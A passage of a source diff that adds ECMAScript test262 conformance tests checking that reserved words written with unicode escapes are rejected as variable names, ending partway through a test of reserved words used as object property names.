+++ b/js/src/tests/test262/ch07/7.6/7.6-12.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-12.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: try (try)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0074\u0072\u0079 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-13.js b/js/src/tests/test262/ch07/7.6/7.6-13.js
new file mode 100644
index 000000000..bde18e099
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-13.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-13.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: catch (catch)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0063atch = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-14.js b/js/src/tests/test262/ch07/7.6/7.6-14.js
new file mode 100644
index 000000000..d9c6d794f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-14.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-14.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: finally (finally)
+ */
+
+
+function testcase() {
+ try {
+ eval("var fina\u006cly = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-15.js b/js/src/tests/test262/ch07/7.6/7.6-15.js
new file mode 100644
index 000000000..b2f034760
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-15.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-15.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: return (return)
+ */
+
+
+function testcase() {
+ try {
+ eval("var retur\u006e = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-16.js b/js/src/tests/test262/ch07/7.6/7.6-16.js
new file mode 100644
index 000000000..ba98c547b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-16.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-16.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: void (void)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0076\u006f\u0069\u0064 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-17.js b/js/src/tests/test262/ch07/7.6/7.6-17.js
new file mode 100644
index 000000000..93a309cbd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-17.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-17.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: continue (continue)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0063ontinue = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-18.js b/js/src/tests/test262/ch07/7.6/7.6-18.js
new file mode 100644
index 000000000..aba469e60
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-18.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-18.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: for (for)
+ */
+
+
+function testcase() {
+ try {
+ eval("var f\u006fr = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-19.js b/js/src/tests/test262/ch07/7.6/7.6-19.js
new file mode 100644
index 000000000..b6df7be44
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-19.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-19.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: switch (switch)
+ */
+
+
+function testcase() {
+ try {
+ eval("var switc\u0068 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-2.js b/js/src/tests/test262/ch07/7.6/7.6-2.js
new file mode 100644
index 000000000..c6ecd7172
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-2.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-2.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: true (true)
+ */
+
+
+function testcase() {
+ try {
+ eval("var tr\u0075e = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-20.js b/js/src/tests/test262/ch07/7.6/7.6-20.js
new file mode 100644
index 000000000..1eefcf064
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-20.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-20.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: while (while)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0077\u0068\u0069\u006c\u0065 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-21.js b/js/src/tests/test262/ch07/7.6/7.6-21.js
new file mode 100644
index 000000000..c1cc483ec
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-21.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-21.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: debugger (debugger)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0064ebugger = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-22.js b/js/src/tests/test262/ch07/7.6/7.6-22.js
new file mode 100644
index 000000000..a050ca989
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-22.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-22.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: function (function)
+ */
+
+
+function testcase() {
+ try {
+ eval("var func\u0074ion = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-23.js b/js/src/tests/test262/ch07/7.6/7.6-23.js
new file mode 100644
index 000000000..df98f3815
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-23.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-23.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: this (this)
+ */
+
+
+function testcase() {
+ try {
+ eval("var thi\u0073 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-24.js b/js/src/tests/test262/ch07/7.6/7.6-24.js
new file mode 100644
index 000000000..d5773ebf2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-24.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-24.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: if (if)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0069\u0066 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-25.js b/js/src/tests/test262/ch07/7.6/7.6-25.js
new file mode 100644
index 000000000..ff25f3e02
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-25.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-25.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: with (with)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0077ith = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-26.js b/js/src/tests/test262/ch07/7.6/7.6-26.js
new file mode 100644
index 000000000..c740431cb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-26.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-26.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: default (default)
+ */
+
+
+function testcase() {
+ try {
+ eval("var def\u0061ult = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-27.js b/js/src/tests/test262/ch07/7.6/7.6-27.js
new file mode 100644
index 000000000..e51bb26d8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-27.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-27.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: throw (throw)
+ */
+
+
+function testcase() {
+ try {
+ eval("var thro\u0077 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-28.js b/js/src/tests/test262/ch07/7.6/7.6-28.js
new file mode 100644
index 000000000..8f4dd26cf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-28.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-28.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: in (in)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0069\u006e = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-29.js b/js/src/tests/test262/ch07/7.6/7.6-29.js
new file mode 100644
index 000000000..9e97c02ba
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-29.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-29.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: delete (delete)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0064elete = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-3.js b/js/src/tests/test262/ch07/7.6/7.6-3.js
new file mode 100644
index 000000000..d14357042
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-3.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-3.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: false (false)
+ */
+
+
+function testcase() {
+ try {
+ eval("var fals\u0065 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-30.js b/js/src/tests/test262/ch07/7.6/7.6-30.js
new file mode 100644
index 000000000..6e4af63b4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-30.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-30.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: class (class)
+ */
+
+
+function testcase() {
+ try {
+ eval("var cla\u0073s = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-31.js b/js/src/tests/test262/ch07/7.6/7.6-31.js
new file mode 100644
index 000000000..c9fb1089e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-31.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-31.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: extends (extends)
+ */
+
+
+function testcase() {
+ try {
+ eval("var extend\u0073 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-32.js b/js/src/tests/test262/ch07/7.6/7.6-32.js
new file mode 100644
index 000000000..86ea96417
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-32.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-32.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: enum (enum)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0065\u006e\u0075\u006d = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-33.js b/js/src/tests/test262/ch07/7.6/7.6-33.js
new file mode 100644
index 000000000..3d6c8dbe3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-33.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-33.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: super (super)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0073uper = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-34.js b/js/src/tests/test262/ch07/7.6/7.6-34.js
new file mode 100644
index 000000000..391fa0191
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-34.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-34.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: const (const)
+ */
+
+
+function testcase() {
+ try {
+ eval("var co\u006est = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-35.js b/js/src/tests/test262/ch07/7.6/7.6-35.js
new file mode 100644
index 000000000..5a729ad00
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-35.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-35.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: export (export)
+ */
+
+
+function testcase() {
+ try {
+ eval("var expor\u0074 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-36.js b/js/src/tests/test262/ch07/7.6/7.6-36.js
new file mode 100644
index 000000000..afc680a0e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-36.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-36.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: import (import)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0069\u006d\u0070\u006f\u0072\u0074 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-4.js b/js/src/tests/test262/ch07/7.6/7.6-4.js
new file mode 100644
index 000000000..b621b8d7e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-4.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-4.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: break (break)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0062\u0072\u0065\u0061\u006b = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-5.js b/js/src/tests/test262/ch07/7.6/7.6-5.js
new file mode 100644
index 000000000..5889b2fc6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-5.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-5.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: case (case)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0063ase = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-6.js b/js/src/tests/test262/ch07/7.6/7.6-6.js
new file mode 100644
index 000000000..d70805344
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-6.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-6.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: instanceof (instanceof)
+ */
+
+
+function testcase() {
+ try {
+ eval("var insta\u006eceof = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-7.js b/js/src/tests/test262/ch07/7.6/7.6-7.js
new file mode 100644
index 000000000..f388e1302
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-7.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-7.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: typeof (typeof)
+ */
+
+
+function testcase() {
+ try {
+ eval("var typeo\u0066 = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-8.js b/js/src/tests/test262/ch07/7.6/7.6-8.js
new file mode 100644
index 000000000..ab4f25978
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-8.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-8.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: do (do)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0064\u006f = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6-9.js b/js/src/tests/test262/ch07/7.6/7.6-9.js
new file mode 100644
index 000000000..2e9f07b03
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6-9.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6-9.js
+ * @description 7.6 - SyntaxError expected: reserved words used as Identifier Names in UTF8: else (else) (null)
+ */
+
+
+function testcase() {
+ try {
+ eval("var \u0065lse = 123;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-1.js
new file mode 100644
index 000000000..20be0698f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-1-1.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-1-1.js
+ * @description Allow reserved words as property names at object initialization, verified with hasOwnProperty: null, true, false
+ */
+
+
+function testcase(){
+ var tokenCodes = {
+ null: 0,
+ true: 1,
+ false: 2
+ };
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for(var p in tokenCodes) {
